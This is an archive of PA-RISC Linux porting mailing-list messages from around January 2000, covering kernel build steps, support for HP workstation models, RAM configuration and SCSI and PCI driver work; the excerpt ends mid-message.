Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Minutes
Date: Mon, 17 Jan 2000 14:27:38 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20000117142738.P11300@thepuffingroup.com>
References: <20000114172721.V11300@thepuffingroup.com> <200001150016.QAA16991@chrome.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618736 29755 80.91.229.3 (22 Nov 2014 01:12:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Jan 17 13:29:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA14356
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 13:29:05 -0700
Original-Received: (qmail 14406 invoked by uid 15267); 17 Jan 2000 19:29:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14376 invoked from network); 17 Jan 2000 19:29:43 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 19:29:43 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id OAA03601;
	Mon, 17 Jan 2000 14:27:38 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200001150016.QAA16991@chrome.rose.hp.com>; from Kirk Bresniker on Fri, Jan 14, 2000 at 04:16:42PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6720

On Fri, Jan 14, 2000 at 04:16:42PM -0800, Kirk Bresniker wrote:
> FYI --
> 
> | 4. Martin has cleaned up the serial and console code.  He will commit his
> |    changes tomorrow after he's tested it.
> 
> In testing the 2.3 kernel on my D320/1 with an Access Port (AP) card as

Could you please:

cvs update
rm .config
make oldconfig
make dep
make clean
make Image

and tell me if that works?  I've changed the .config to something which
seems to not get confused on a D270.  We don't have a D320 in the hardware
database; would you mind adding yours?


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] getting started
Date: Mon, 17 Jan 2000 15:15:59 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20000117151559.Q11300@thepuffingroup.com>
References: <38835127.4B7C05EC@moore.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618736 29758 80.91.229.3 (22 Nov 2014 01:12:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:16 +0000 (UTC)
Cc: PA-RISC/Linux List <parisc-linux@thepuffingroup.com>
To: "substr 'Manager Dan',-3;" <dan@moore.cx>
Original-X-From: willy@thepuffingroup.com  Mon Jan 17 14:15:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA14769
	for <parisc-linux@puffin.external.hp.com>; Mon, 17 Jan 2000 14:15:37 -0700
Original-Received: (qmail 18943 invoked by uid 15267); 17 Jan 2000 20:16:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18925 invoked from network); 17 Jan 2000 20:16:14 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 17 Jan 2000 20:16:14 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id PAA03670;
	Mon, 17 Jan 2000 15:15:59 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <38835127.4B7C05EC@moore.cx>; from substr 'Manager Dan',-3; on Mon, Jan 17, 2000 at 05:28:07PM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:6721

On Mon, Jan 17, 2000 at 05:28:07PM +0000, substr 'Manager Dan',-3; wrote:
> greetings,
> 
> is there anything that needs to be done in this effort that could be
> done by a newcomer?  i picked up a 730 a few weeks ago, and i'm looking
> for a good place to start helping with this port...

The current contents of the CVS tree should work just fine on the 730,
but it's not a model we actually test on, so if you want to test, we'll
be suitably grateful.


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thierry SIMONNET" <t.simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Generating Kernel and Image
Date: Tue, 18 Jan 2000 08:55:28 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <003001bf6189$62c3dbc0$0a14d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618736 29760 80.91.229.3 (22 Nov 2014 01:12:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:16 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: t.simonnet@esiee.fr  Tue Jan 18 01:54:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA18495
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jan 2000 01:54:37 -0700
Original-Received: (qmail 4744 invoked by uid 15267); 18 Jan 2000 07:55:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4737 invoked from network); 18 Jan 2000 07:55:18 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2000 07:55:18 -0000
Original-Received: from venus (venus.esiee.fr [147.215.20.10])
	by mail.esiee.fr (Postfix) with SMTP id 5743C57322
	for <parisc-linux@thepuffingroup.com>; Tue, 18 Jan 2000 08:55:14 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:6722

Since December, I try to generate vmlinux and Image for 712/60.
I use a 712/60 workstation (HPUX 10.20, cc, gcc-2.95.2) as development
platform and a 712/80 as client.
My bootp works fine.
1 - I can boot on Image-19991113 with serial console. but I don't know what
to do after.
2 - I can't boot on my own Image. Perhaps my console device is wrong. What
is the right device for a graphical console. I try tty00, ttyS0. But it
fails.

Thanks for your help.

Th. SIMONNET


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?B?TmlscyBTdHL4bQ==?= <nils.strom@q-free.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 715/33
Date: Tue, 18 Jan 2000 10:09:45 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <000201bf6193$c372a320$c400a8c0@qfree.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618737 29761 80.91.229.3 (22 Nov 2014 01:12:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:17 +0000 (UTC)
To: "Parisc-Linux Mailing list" <parisc-linux@thepuffingroup.com>
Original-X-From: nils.strom@q-free.com  Tue Jan 18 03:08:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA19409
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jan 2000 03:08:38 -0700
Original-Received: (qmail 3853 invoked by uid 15267); 18 Jan 2000 09:09:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3844 invoked from network); 18 Jan 2000 09:09:18 -0000
Original-Received: from hurricane.q-free.com (HELO q-free.com) (62.92.116.14)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2000 09:09:18 -0000
Original-Received: from ntnils (ntnils.q-free.com [192.168.0.196])
	by q-free.com (8.9.3/8.9.3) with SMTP id KAA04655
	for <parisc-linux@thepuffingroup.com>; Tue, 18 Jan 2000 10:09:17 +0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Xref: news.gmane.org gmane.linux.ports.parisc:6723

Hi!

Picked up a 715/33 yesterday; it seems to be unsupported by MkLinux:(
Is this due to a problem with the architecture (that cannot be overcome)
or is it something that just needs special care to work ?

Also, can anyone give me some hints where to get more information
about this specific model. (Web pages, or can I find info in the
parisc mail archive?) Specifically, I need info about the RAM
configuration, (SIM-pairs or singles, which types is possible, which
sizes etc). Links to MkLinux info (on this model and in general) is also
appreciated.

I will put together a web-page dealing with this model, as soon I
find information to share.

Regards,

Nils Strom
Analog Electronics R&D Engineer

X-From-Line: hppa-linux@thepuffingroup.com  Fri Mar 12 07:51:04 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id HAA01310
	for <pcj@merlin.pcj.primenet.com>; Fri, 12 Mar 1999 07:51:03 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Fri, 12 Mar 1999 07:51:03 PST
Received: from smtp02.primenet.com (daemon@smtp01.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id HAA26460
	for <pcj@smtp-local.primenet.com>; Fri, 12 Mar 1999 07:23:10 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id HAA11397
	for <pcj@primenet.com>; Fri, 12 Mar 1999 07:23:08 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd011375; Fri Mar 12 07:23:04 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id JAA21247;
	Fri, 12 Mar 1999 09:22:59 -0500
Resent-Date: Fri, 12 Mar 1999 09:22:59 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <7DB180A629C1D211869F00A0C9F44A8C1805@retro-mail.fish.retrotech.com>
From: "Muench, David" <dmuen@retrotech.com>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] Boot #4 and source on ftp site
Date: Fri, 12 Mar 1999 09:23:58 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Resent-Message-ID: <"Iv8sb.0.uB5.3DIws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/180
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: d8af8dc96725c8fe087ed8be940d3178
Lines: 46
Xref: merlin.pcj.primenet.com palinux:151


Worked great again on my 715/80 off a scsi disk.

---
David Muench - Project System Administrator
Retrotech, Inc. - http://www.retrotech.com/



-----Original Message-----
From: Jason Eckhardt [mailto:jason@equator.com]
Sent: Thursday, March 11, 1999 5:35 PM
To: hppa-linux@thepuffingroup.com
Subject: [hppa-linux] Boot #4 and source on ftp site



Boot test #4: This is essentially the same code as #3 but I have taken
out some delays, modified the cache flush routines, and turned
verbose (debug) mode back on. I want to make sure that not having the delays
makes no difference and that no characters get dropped when there is a lot
of text (as in debug mode). Please let me know if the test still passes
as before. Hopefully this will be the last test for a while. Kernel work
comes next.

I have uploaded the binary as well as a new source drop to the ftp site. The
source is now GPL'd and a detailed README is included which gives an
overview
of the boot code operation. This source supersedes any previous source you
may have laying around.

ftp from sod.res.cmu.edu:/pub/parisc/hilo
  boot_rel_0.2.tar.gz        The latest source code and documentation.
  bootstrap_4.bin.gz         Bootstrap binary #4. 

Regards, 
Jason Eckhardt.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 715/33
Date: Tue, 18 Jan 2000 11:17:37 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20000118111737.Y11300@thepuffingroup.com>
References: <000201bf6193$c372a320$c400a8c0@qfree.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618737 29764 80.91.229.3 (22 Nov 2014 01:12:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:17 +0000 (UTC)
Cc: Parisc-Linux Mailing list <parisc-linux@thepuffingroup.com>
To: Nils Strxm <nils.strom@q-free.com>
Original-X-From: willy@thepuffingroup.com  Tue Jan 18 10:17:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA21636
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jan 2000 10:17:04 -0700
Original-Received: (qmail 2310 invoked by uid 15267); 18 Jan 2000 16:17:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2303 invoked from network); 18 Jan 2000 16:17:45 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 18 Jan 2000 16:17:45 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id LAA05738;
	Tue, 18 Jan 2000 11:17:37 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <000201bf6193$c372a320$c400a8c0@qfree.com>; from Nils Strxm on Tue, Jan 18, 2000 at 10:09:45AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6724

On Tue, Jan 18, 2000 at 10:09:45AM +0100, Nils Strxm wrote:
> Picked up a 715/33 yesterday; it seems to be unsupported by MkLinux:(
> Is this due to a problem with the architecture (that cannot be overcome)
> or is it something that just needs special care to work ?

>From what I glean from the mklinux pages they just don't know why it
doesn't work.  I started in all this with a 715/33 which i rescued from
use as a monitor stand, and I can tell you that it definitely worked
as well as any other HP model with ordinary Linux.

> Also, can anyone give me some hints where to get more information
> about this specific model. (Web pages, or can I find info in the
> parisc mail archive?) Specifically, I need info about the RAM
> configuration, (SIM-pairs or singles, which types is possible, which
> sizes etc). Links to MkLinux info (on this model and in general) is also
> appreciated.

You definitely need pairs.  The Hardware Compatibility List says `HP
workstation RAM SIMMs and DIMMs are not generally identical to those
used in POCs.  Non-HP RAM is not officially supported.' but this is
probably just to scare you.  HP sold kits of 2x4, 2x8, 2x16 and 2x32
MB SIMMs.  If you look on Kingston's website, you can probably find out
more information.

You can find more information at http://www.thepuffingroup.com/parisc/


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] NCR driver
Date: Wed, 19 Jan 2000 00:56:41 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20000119005641.D11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618737 29769 80.91.229.3 (22 Nov 2014 01:12:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:17 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Tue Jan 18 23:55:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA26279
	for <parisc-linux@puffin.external.hp.com>; Tue, 18 Jan 2000 23:55:59 -0700
Original-Received: (qmail 13966 invoked by uid 15267); 19 Jan 2000 05:56:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13959 invoked from network); 19 Jan 2000 05:56:41 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2000 05:56:41 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id AAA06867
	for parisc-linux@thepuffingroup.com; Wed, 19 Jan 2000 00:56:41 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6725


Several people have emailed me and asked if there are any small jobs they
can do to get themselves started.  Here's one that needs doing.  There
is an NCR 53c710 driver in linux/drivers/scsi/ncr53c7xx.c.  This is the
SCSI controller found in the:

	712, 715/{64,80,100}, 725/100, A180

and possibly others.

If anyone is feeling really enterprising (or perhaps just frustrated),
they could try getting this driver to work with the following machines:

	705, 710, 715/{33,50,75}, 720, 725/{50,75}, 730, 735, 750, 755

which contain the NCR 53c700.  The _comments_ in the driver suggest that
it's almost supported, but I don't know how up to date they are.

If you do decide to work on it, please ensure you're working from the
linux-2.3 tree and let everyone know you're working on it.


From - Thu Nov 08 21:11:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR driver
Date: Tue, 18 Jan 2000 22:34:39 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <200001190634.WAA19934@milano.cup.hp.com>
References: <20000119005641.D11300@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618738 29770 80.91.229.3 (22 Nov 2014 01:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <willy@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 19 00:33:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA26860
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jan 2000 00:33:37 -0700
Original-Received: (qmail 28532 invoked by uid 15267); 19 Jan 2000 06:34:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28522 invoked from network); 19 Jan 2000 06:34:19 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2000 06:34:19 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP
	id A00FB9ED; Tue, 18 Jan 2000 22:34:18 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id WAA19934; Tue, 18 Jan 2000 22:34:39 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 19 Jan 2000 00:56:41 PST."
             <20000119005641.D11300@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6726

Matthew Wilcox wrote:
> 
> Several people have emailed me and asked if there are any small jobs they
> can do to get themselves started.  Here's one that needs doing.  There
> is an NCR 53c710 driver in linux/drivers/scsi/ncr53c7xx.c.  This is the
> SCSI controller found in the:
> 
> 	712, 715/{64,80,100}, 725/100, A180
> 
> and possibly others.
...

Hi all,
The LASI SCSI code didn't make it's way into the linux-2.3 tree.
Code in linux/drivers/scsi/lasi* can be migrated now.

Someone else could start trying to make PCI NCR SCSI also work under Dino.
Dino code does detect PCI devices and tulip (100BT) driver has started
talking to it's device. Need to enable CONFIG_GSC_DINO from the default
".config". This requires an A, B, or C-class machine to test though.

cheers,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR driver
Date: Wed, 19 Jan 2000 02:47:08 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20000119024708.E11300@thepuffingroup.com>
References: <20000119005641.D11300@thepuffingroup.com> <200001190634.WAA19934@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618738 29772 80.91.229.3 (22 Nov 2014 01:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Wed Jan 19 01:49:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA27255
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jan 2000 01:49:28 -0700
Original-Received: (qmail 22415 invoked by uid 15267); 19 Jan 2000 07:50:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22402 invoked from network); 19 Jan 2000 07:50:10 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2000 07:50:10 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id CAA07302;
	Wed, 19 Jan 2000 02:47:08 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200001190634.WAA19934@milano.cup.hp.com>; from Grant Grundler on Tue, Jan 18, 2000 at 10:34:39PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6727

On Tue, Jan 18, 2000 at 10:34:39PM -0800, Grant Grundler wrote:
> Hi all,
> The LASI SCSI code didn't make it's way into the linux-2.3 tree.
> Code in linux/drivers/scsi/lasi* can be migrated now.

My apologies.  This oversight has been rectified.


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR driver
Date: Wed, 19 Jan 2000 11:44:49 -0500
Organization: Just Another Linux Hacker
Lines: 23
Approved: news@gmane.org
Message-ID: <3885EA01.88E1513B@thepuffingroup.com>
References: <200001190634.WAA19934@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618738 29774 80.91.229.3 (22 Nov 2014 01:12:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:18 +0000 (UTC)
Cc: Matthew Wilcox <willy@thepuffingroup.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: mang@thepuffingroup.com  Wed Jan 19 10:46:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30209
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jan 2000 10:46:12 -0700
Original-Received: (qmail 25993 invoked by uid 15267); 19 Jan 2000 16:46:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25983 invoked from network); 19 Jan 2000 16:46:52 -0000
Original-Received: from relay1.pair.com (209.68.1.20)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2000 16:46:52 -0000
Original-Received: (qmail 3098 invoked from network); 19 Jan 2000 16:44:20 -0000
Original-Received: from unknown (HELO thepuffingroup.com) (216.208.98.2)
  by relay1.pair.com with SMTP; 19 Jan 2000 16:44:20 -0000
X-pair-Authenticated: 216.208.98.2
Original-Sender: mang@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6728

I've gotten the tulip driver to find it's device on the A180, but the
PCI I/O address is being reported incorrectly at some point.  The
pci_ioaddr reported is way too low, so I suspect that there is a Dino
related offset that needs to be added somewhere.  I'm digging into the
Dino code to find the right place to add the offset, and any hints/help
is appreciated.

Here's the output from the tulip driver with debugging turned on:
Found Digital DS21142/3 Tulip at I/O 0x1ff00.

PCI bus walking should work fine.  You can see the devices found by
defining DEBUG in drivers/pci/pci.c, and the vendor and device ids are
listed in devlist.h

	- Mike.

Grant Grundler wrote:
> 
> Someone else could start trying to make PCI NCR SCSI also work under Dino.
> Dino code does detect PCI devices and tulip (100BT) driver has started
> talking to it's device. Need to enable CONFIG_GSC_DINO from the default
> ".config". This requires an A, B, or C-class machine to test though.


From - Thu Nov 08 21:11:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR driver
Date: Wed, 19 Jan 2000 09:15:12 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <200001191715.JAA20163@milano.cup.hp.com>
References: <3885EA01.88E1513B@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618739 29778 80.91.229.3 (22 Nov 2014 01:12:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@thepuffingroup.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 19 11:49:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA30766
	for <parisc-linux@puffin.external.hp.com>; Wed, 19 Jan 2000 11:49:32 -0700
Original-Received: (qmail 14346 invoked by uid 15267); 19 Jan 2000 17:50:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14330 invoked from network); 19 Jan 2000 17:50:15 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 19 Jan 2000 17:50:15 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel3.hp.com (Postfix) with ESMTP
	id 701D63D0; Wed, 19 Jan 2000 09:14:50 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id JAA20163; Wed, 19 Jan 2000 09:15:12 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 19 Jan 2000 11:44:49 PST."
             <3885EA01.88E1513B@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6729

Michael Ang wrote:
> I've gotten the tulip driver to find it's device on the A180, but the
> PCI I/O address is being reported incorrectly at some point.  The
> pci_ioaddr reported is way too low, so I suspect that there is a Dino
> related offset that needs to be added somewhere.  I'm digging into the
